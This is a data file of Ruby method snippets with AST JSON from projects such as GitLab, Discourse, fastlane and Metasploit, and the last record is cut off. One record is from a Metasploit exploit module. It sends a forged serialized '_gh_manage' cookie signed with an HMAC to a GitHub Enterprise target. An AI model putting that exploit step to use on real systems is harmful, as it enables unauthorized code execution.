{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gitaly_client.rb","start_line":622,"raw_source":"def self.decode_detailed_error(err)\n      # details could have more than one in theory, but we only have one to worry about for now.\n      detailed_error = err.to_rpc_status&.details&.first\n\n      return unless detailed_error.present?\n\n      prefix = %r{type\\.googleapis\\.com\\/gitaly\\.(?<error_type>.+)}\n      error_type = prefix.match(detailed_error.type_url)[:error_type]\n\n      Gitaly.const_get(error_type, false).decode(detailed_error.value)\n    rescue NameError, NoMethodError\n      # Error Class might not be known to ruby yet\n      nil\n    end","complexity_score":19.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"decode_detailed_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"err\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"detailed_error\",{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"to_rpc_status\"]},\"details\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"detailed_error\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"prefix\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"type\\\\.googleapis\\\\.com\\\\/gitaly\\\\.(?<error_type>.+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"error_type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]},\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"detailed_error\"]},\"type_url\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"error_type\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitaly\"]},\"const_get\",{\"type\":\"lvar\",\"children\":[\"error_type\"]},{\"type\":\"false\",\"children\":[]}]},\"decode\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"detailed_error\"]},\"value\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NameError\"]},{\"type\":\"const\",\"children\":[null,\"NoMethodError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}","id":"fe6f2059-6b71-4974-828c-0b3c9e51944a"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/telegram/incoming_message_service.rb","start_line":109,"raw_source":"def conversation_additional_attributes\n    {\n      chat_id: telegram_params_chat_id,\n      business_connection_id: telegram_params_business_connection_id\n    }\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"conversation_additional_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chat_id\"]},{\"type\":\"send\",\"children\":[null,\"telegram_params_chat_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"business_connection_id\"]},{\"type\":\"send\",\"children\":[null,\"telegram_params_business_connection_id\"]}]}]}]}","id":"436ba59e-0ea1-4062-91fb-c34887ed518e"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/client.rb","start_line":622,"raw_source":"def perform_login_method(user, password, modified_cookie)\n      do_legacy_signin = ENV['FASTLANE_USE_LEGACY_PRE_SIRP_AUTH']\n      if do_legacy_signin\n        puts(\"Starting legacy Apple ID login\") if Spaceship::Globals.verbose?\n\n        # Fixes issue https://github.com/fastlane/fastlane/issues/21071\n        # On 2023-02-23, Apple added a custom implementation\n        # of hashcash to their auth flow\n        # hashcash = nil\n        hashcash = self.fetch_hashcash\n\n        data = {\n          accountName: user,\n          password: password,\n          rememberMe: true\n        }\n\n        return request(:post) do |req|\n          req.url(\"https://idmsa.apple.com/appleauth/auth/signin\")\n          req.body = data.to_json\n          req.headers['Content-Type'] = 'application/json'\n          req.headers['X-Requested-With'] = 'XMLHttpRequest'\n          req.headers['X-Apple-Widget-Key'] = self.itc_service_key\n          req.headers['Accept'] = 'application/json, text/javascript'\n          req.headers[\"Cookie\"] = modified_cookie if modified_cookie\n          req.headers[\"X-Apple-HC\"] = hashcash if hashcash\n        end\n      else\n        # Fixes issue https://github.com/fastlane/fastlane/issues/26368#issuecomment-2424190032\n        puts(\"Starting SIRP Apple ID login\") if Spaceship::Globals.verbose?\n        return do_sirp(user, password, modified_cookie)\n      end\n    end","complexity_score":43.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_login_method\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"password\"]},{\"type\":\"arg\",\"children\":[\"modified_cookie\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"do_legacy_signin\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FASTLANE_USE_LEGACY_PRE_SIRP_AUTH\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"do_legacy_signin\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"Globals\"]},\"verbose?\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"Starting legacy Apple ID login\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"hashcash\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fetch_hashcash\"]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"accountName\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rememberMe\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\",{\"type\":\"sym\",\"children\":[\"post\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"req\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"url\",{\"type\":\"str\",\"children\":[\"https://idmsa.apple.com/appleauth/auth/signin\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"body=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"to_json\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"X-Requested-With\"]},{\"type\":\"str\",\"children\":[\"XMLHttpRequest\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"X-Apple-Widget-Key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"itc_service_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Accept\"]},{\"type\":\"str\",\"children\":[\"application/json, text/javascript\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"modified_cookie\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Cookie\"]},{\"type\":\"lvar\",\"children\":[\"modified_cookie\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hashcash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"X-Apple-HC\"]},{\"type\":\"lvar\",\"children\":[\"hashcash\"]}]},null]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"Globals\"]},\"verbose?\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"Starting SIRP Apple ID login\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"do_sirp\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"modified_cookie\"]}]}]}]}]}]}]}","id":"035ae103-31b3-4a58-aafb-1091da8e7aaa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/partitions/create_service.rb","start_line":22,"raw_source":"def should_create_next?\n        above_threshold? && headroom_available?\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"should_create_next?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"above_threshold?\"]},{\"type\":\"send\",\"children\":[null,\"headroom_available?\"]}]}]}","id":"91e06b32-0a2f-4402-8fc3-61fd1d45c375"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/clusters/agents/authorize_proxy_user_service.rb","start_line":38,"raw_source":"def response_base\n        {\n          agent: {\n            id: agent.id,\n            config_project: { id: agent.project_id }\n          },\n          user: {\n            id: current_user.id,\n            username: current_user.username\n          }\n        }\n      end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"response_base\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"agent\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"agent\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"config_project\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"agent\"]},\"project_id\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"username\"]}]}]}]}]}]}","id":"9a7222f2-9cef-427f-8992-5b66bb1f59f1"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-assign/lib/discourse_assign/helpers.rb","start_line":5,"raw_source":"def self.build_assigned_to_user(user, topic)\n      return if !user\n      { username: user.username, name: user.name, avatar_template: user.avatar_template }\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"build_assigned_to_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"topic\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"avatar_template\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"avatar_template\"]}]}]}]}]}","id":"cbf6adab-6e24-423f-be9d-25eadef91fdd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/namespaces/traversal/trie_node.rb","start_line":9,"raw_source":"def build(...)\n          new.build(...)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\"]},\"build\",{\"type\":\"forwarded_args\",\"children\":[]}]}]}","id":"a27f8ea5-e47d-4078-a3a3-f0abb8db6831"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/dependency_tracker/ruby_tracker.rb","start_line":12,"raw_source":"def dependencies\n        WildcardResolver.new(view_paths, render_dependencies + explicit_dependencies).resolve\n      end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"dependencies\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WildcardResolver\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"view_paths\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_dependencies\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"explicit_dependencies\"]}]}]},\"resolve\"]}]}","id":"01ca1faa-1596-43cd-810b-39e013624d3d"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/settings/deletes_controller.rb","start_line":39,"raw_source":"def destroy_account!\n    current_account.suspend!(origin: :local, block_email: false)\n    AccountDeletionWorker.perform_async(current_user.account_id)\n    sign_out\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy_account!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_account\"]},\"suspend!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin\"]},{\"type\":\"sym\",\"children\":[\"local\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"block_email\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AccountDeletionWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"account_id\"]}]},{\"type\":\"send\",\"children\":[null,\"sign_out\"]}]}]}","id":"fde9b034-4bb7-4a4d-be47-dfc3890a398e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/net/dns/rr/soa.rb","start_line":74,"raw_source":"def subclass_new_from_binary(data,offset)\n          @mname,offset = dn_expand(data,offset)\n          @rname,offset = dn_expand(data,offset)\n          @serial,@refresh,@retry,@expire,@minimum = data.unpack(\"@#{offset} N5\")\n          return offset + 5*Net::DNS::INT32SZ\n        end","complexity_score":17.55,"ast_json":"{\"type\":\"def\",\"children\":[\"subclass_new_from_binary\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"arg\",\"children\":[\"offset\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@mname\"]},{\"type\":\"lvasgn\",\"children\":[\"offset\"]}]},{\"type\":\"send\",\"children\":[null,\"dn_expand\",{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"offset\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@rname\"]},{\"type\":\"lvasgn\",\"children\":[\"offset\"]}]},{\"type\":\"send\",\"children\":[null,\"dn_expand\",{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"offset\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@serial\"]},{\"type\":\"ivasgn\",\"children\":[\"@refresh\"]},{\"type\":\"ivasgn\",\"children\":[\"@retry\"]},{\"type\":\"ivasgn\",\"children\":[\"@expire\"]},{\"type\":\"ivasgn\",\"children\":[\"@minimum\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"unpack\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offset\"]}]},{\"type\":\"str\",\"children\":[\" N5\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offset\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"*\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"DNS\"]},\"INT32SZ\"]}]}]}]}]}]}","id":"bd189bf9-9030-4999-9b8c-59933ee4428e"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/evals/lib/runner.rb","start_line":5,"raw_source":"def initialize\n      @log = []\n      @current_step = @log\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@log\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_step\",{\"type\":\"ivar\",\"children\":[\"@log\"]}]}]}]}","id":"31e0aa45-7fe8-423c-809f-6e07692d3eac"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/users/memberships_controller.rb","start_line":42,"raw_source":"def redirected_to_tab(membership)\n    if membership.project\n      \"memberships\"\n    else\n      \"global_roles\"\n    end\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"redirected_to_tab\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"membership\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"membership\"]},\"project\"]},{\"type\":\"str\",\"children\":[\"memberships\"]},{\"type\":\"str\",\"children\":[\"global_roles\"]}]}]}","id":"71ede928-80e8-4596-9b6c-8f4a0c4f7072"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/smell_detectors/unused_private_method.rb","start_line":61,"raw_source":"def unused_private_methods\n        defined_private_methods = context.defined_instance_methods(visibility: :private)\n        called_method_names     = context.instance_method_calls.map(&:name)\n        called_method_names.concat(context.instance_method_names_via_to_call)\n\n        defined_private_methods.reject do |defined_method|\n          called_method_names.include?(defined_method.name)\n        end\n      end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"unused_private_methods\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"defined_private_methods\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"defined_instance_methods\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visibility\"]},{\"type\":\"sym\",\"children\":[\"private\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"called_method_names\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"instance_method_calls\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"called_method_names\"]},\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"instance_method_names_via_to_call\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"defined_private_methods\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"defined_method\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"called_method_names\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"defined_method\"]},\"name\"]}]}]}]}]}","id":"917b279f-da5c-4be2-b8af-567518e7088e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/auth_finders.rb","start_line":99,"raw_source":"def find_user_from_basic_auth_password\n        return unless has_basic_credentials?(current_request)\n\n        login, password = user_name_and_password(current_request)\n        return if ::Gitlab::Auth::CI_JOB_USER == login\n\n        Gitlab::Auth.find_with_user_password(login.to_s, password.to_s)\n      end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"find_user_from_basic_auth_password\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_basic_credentials?\",{\"type\":\"send\",\"children\":[null,\"current_request\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"login\"]},{\"type\":\"lvasgn\",\"children\":[\"password\"]}]},{\"type\":\"send\",\"children\":[null,\"user_name_and_password\",{\"type\":\"send\",\"children\":[null,\"current_request\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Auth\"]},\"CI_JOB_USER\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"login\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Auth\"]},\"find_with_user_password\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"login\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password\"]},\"to_s\"]}]}]}]}","id":"5291d8fc-44b0-4ccd-a2f7-2298e7334970"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/github_enterprise_secret.rb","start_line":151,"raw_source":"def send_serialized_data(dump, hmac)\n    uri = normalize_uri(target_uri.path)\n    gh_manage_value = CGI.escape(\"#{dump}--#{hmac}\")\n    cookie = \"_gh_manage=#{gh_manage_value}\"\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => uri,\n      'cookie' => cookie\n    })\n\n    if res\n      print_status(\"Server returned: #{res.code}\")\n    end\n  end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"send_serialized_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dump\"]},{\"type\":\"arg\",\"children\":[\"hmac\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"gh_manage_value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"escape\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dump\"]}]},{\"type\":\"str\",\"children\":[\"--\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hmac\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cookie\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"_gh_manage=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gh_manage_value\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"cookie\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Server returned: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]}]}]},null]}]}]}","id":"120414a9-8cd9-43ed-be49-a28e3276632b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/importer/diff_note_importer.rb","start_line":14,"raw_source":"def initialize(note, project, client)\n          @note = note\n          @project = project\n          @client = client\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"note\"]},{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"client\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@note\",{\"type\":\"lvar\",\"children\":[\"note\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@client\",{\"type\":\"lvar\",\"children\":[\"client\"]}]}]}]}","id":"21eaf12f-7623-4caa-a963-d7b4108f6d64"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20180710172959_disallow_multi_levels_theme_components.rb","start_line":54,"raw_source":"def migrate_child(parent, top_parent)\n    unless already_exists?(top_parent.parent_theme_id, parent.child_theme_id)\n      execute(\n        \"\n        INSERT INTO child_themes (parent_theme_id, child_theme_id, created_at, updated_at)\n        VALUES (#{top_parent.parent_theme_id}, #{parent.child_theme_id}, now(), now())\n      \",\n      )\n    end\n\n    @handled << [top_parent.parent_theme_id, parent.parent_theme_id, parent.child_theme_id]\n\n    children =\n      DB.query(\n        \"\n      SELECT parent_theme_id, child_theme_id\n      FROM child_themes\n      WHERE parent_theme_id = :child\",\n        child: parent.child_theme_id,\n      )\n\n    children.each do |child|\n      if @handled.exclude?(\n           [top_parent.parent_theme_id, child.parent_theme_id, child.child_theme_id],\n         )\n        migrate_child(child, top_parent)\n      end\n    end\n  end","complexity_score":25.2,"ast_json":"{\"type\":\"def\",\"children\":[\"migrate_child\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent\"]},{\"type\":\"arg\",\"children\":[\"top_parent\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"already_exists?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"top_parent\"]},\"parent_theme_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"child_theme_id\"]}]},null,{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        INSERT INTO child_themes (parent_theme_id, child_theme_id, created_at, updated_at)\\n\"]},{\"type\":\"str\",\"children\":[\"        VALUES (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"top_parent\"]},\"parent_theme_id\"]}]},{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"child_theme_id\"]}]},{\"type\":\"str\",\"children\":[\", now(), now())\\n\"]},{\"type\":\"str\",\"children\":[\"      